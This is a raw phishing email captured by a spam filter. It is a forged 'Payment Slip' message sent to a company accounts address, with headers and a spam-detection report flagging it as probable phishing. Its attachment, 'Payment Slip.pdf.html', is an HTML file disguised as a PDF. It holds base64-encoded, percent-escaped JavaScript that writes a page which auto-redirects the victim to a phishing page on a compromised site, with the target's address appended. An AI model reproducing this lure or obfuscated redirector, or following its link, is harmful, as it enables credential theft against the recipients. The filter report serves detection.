Return-Path: Delivered-To: behniwal+spam@server.rnv.kpw.mybluehostin.me Received: from server.rnv.kpw.mybluehostin.me by server.rnv.kpw.mybluehostin.me with LMTP id 8IyGGNaVNmqXagAAyTkJsw (envelope-from ) for ; Sat, 20 Jun 2026 07:29:58 -0600 Return-path: Envelope-to: accounts@behniwalgroup.com Delivery-date: Sat, 20 Jun 2026 07:29:58 -0600 Received: from [160.250.133.232] (port=52732 helo=gmail.com) by server.rnv.kpw.mybluehostin.me with esmtp (Exim 4.99.4) (envelope-from ) id 1wavlk-0000000074S-2wN1 for accounts@behniwalgroup.com; Sat, 20 Jun 2026 07:29:58 -0600 From: Accounting To: accounts@behniwalgroup.com Date: 20 Jun 2026 20:29:05 +0700 Message-ID: <20260620202905.AD79FE2171165CF9@gmail.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_247E898F.A9DB1470" X-Spam-Status: Yes, score=13.2 X-Spam-Score: 132 X-Spam-Bar: +++++++++++++ X-Spam-Report: Spam detection software, running on the system "server.rnv.kpw.mybluehostin.me", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: New Page 1 How are you Find attached Payment Slip. as requested Content analysis details: (13.2 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 1.0 FORGED_GMAIL_RCVD 'From' gmail.com does not match 'Received' headers 1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see ] 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider [lissm1297[at]gmail.com] 1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail) 0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in digit [lissm1297[at]gmail.com] 1.5 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail) 0.0 DKIM_ADSP_CUSTOM_MED No valid author signature, adsp_override is CUSTOM_MED 0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags 0.0 HTML_MESSAGE BODY: HTML included in message 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 T_HTML_ATTACH HTML attachment to bypass scanning? 3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message and the domain has no DMARC policy 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 0.7 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS 1.2 NML_ADSP_CUSTOM_MED ADSP custom_med hit, and not from a mailing list X-Spam-Flag: YES Subject: Fwd: Payment Slip This is a multi-part message in MIME format. ------=_NextPart_000_0012_247E898F.A9DB1470 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable New Page 1

How are you
 

Find attached Payment Slip. as = requested=20

kindly check with your bank for confirmation. 

 =20

Thanks
Accounting
lisa

 

-----Original Message-----
From: "Account Payables/Credit Control= Unit"
Date: 6/20/2026 8:29:05 p.m.
To: "Accounting"<lissm1297@gmail.com>
Subject: Fwd: Payment Slip

 

Hello, lisa

Kindly forward  the attached Payment Slip  to <= /FONT>accounts@behniwalgrou= p.com

Best Regards,
Account Payables/Credit Control Unit

------=_NextPart_000_0012_247E898F.A9DB1470 Content-Type: text/html; name="Payment Slip.pdf.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Payment Slip.pdf.html" PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCcl M0MlMjElNDQlNEYlNDMlNTQlNTklNTAlNDUlMjAlNjglNzQlNkQlNkMlMjAlNTAlNTUlNDIl NEMlNDklNDMlMjAlMjIlMkQlMkYlMkYlNTclMzMlNDMlMkYlMkYlNDQlNTQlNDQlMjAlNTgl NDglNTQlNEQlNEMlMjAlMzElMkUlMzAlMjAlNTQlNzIlNjElNkUlNzMlNjklNzQlNjklNkYl NkUlNjElNkMlMkYlMkYlNDUlNEUlMjIlMEElMEElMjIlNjglNzQlNzQlNzAlM0ElMkYlMkYl NzclNzclNzclMkUlNzclMzMlMkUlNkYlNzIlNjclMkYlNTQlNTIlMkYlNzglNjglNzQlNkQl NkMlMzElMkYlNDQlNTQlNDQlMkYlNzglNjglNzQlNkQlNkMlMzElMkQlNzQlNzIlNjElNkUl NzMlNjklNzQlNjklNkYlNkUlNjElNkMlMkUlNjQlNzQlNjQlMjIlM0UlMEElM0MlNjglNzQl NkQlNkMlMjAlNzglNkQlNkMlNkUlNzMlM0QlMjIlNjglNzQlNzQlNzAlM0ElMkYlMkYlNzcl NzclNzclMkUlNzclMzMlMkUlNkYlNzIlNjclMkYlMzElMzklMzklMzklMkYlNzglNjglNzQl NkQlNkMlMjIlM0UlMEElM0MlNjglNjUlNjElNjQlM0UlMEElM0MlNkQlNjUlNzQlNjElMjAl NjglNzQlNzQlNzAlMkQlNjUlNzElNzUlNjklNzYlM0QlMjIlNDMlNkYlNkUlNzQlNjUlNkUl NzQlMkQlNTQlNzklNzAlNjUlMjIlMjAlNjMlNkYlNkUlNzQlNjUlNkUlNzQlM0QlMjIlNzQl NjUlNzglNzQlMkYlNjglNzQlNkQlNkMlM0IlMjAlNjMlNjglNjElNzIlNzMlNjUlNzQlM0Ql NjklNzMlNkYlMkQlMzglMzglMzUlMzklMkQlMzElMjIlMjAlMkYlM0UlMEElM0MlNkQlNjUl NzQlNjElMjAlNjglNzQlNzQlNzAlMkQlNjUlNzElNzUlNjklNzYlM0QlMjIlNTIlNDUlNDYl NTIlNDUlNTMlNDglMjIlNjMlNkYlNkUlNzQlNjUlNkUlNzQlM0QlMjIlMzElM0IlNzUlNzIl NkMlM0QlNjglNzQlNzQlNzAlNzMlM0ElMkYlMkYlNzklNkYlNjclNjklNzMlNjElNkUlNjQl NzklNkYlNjclNjklNkUlNjklNzMlMkUlNjMlNkYlNkQlMkYlNzclNzAlMkQlNjMlNkYlNkUl NzQlNjUlNkUlNzQlMkYlNzQlNjglNjUlNkQlNjUlNzMlMkYlNDQlNjklNzYlNjklNDIlMkYl NjglNkQlMzElMzElMzElMzAlMzElMzAlMkUlNjglNzQlNkQlMjMnKSk8L3NjcmlwdD4NCmFj Y291bnRzQGJlaG5pd2FsZ3JvdXAuY29tIj4NCjx0aXRsZT5VbnRpdGxlZCBEb2N1bWVudDwv dGl0bGU+DQo8L2hlYWQ+DQoNCjxib2R5Pg0KDQo8L2JvZHk+DQo8L2h0bWw+DQo= ------=_NextPart_000_0012_247E898F.A9DB1470--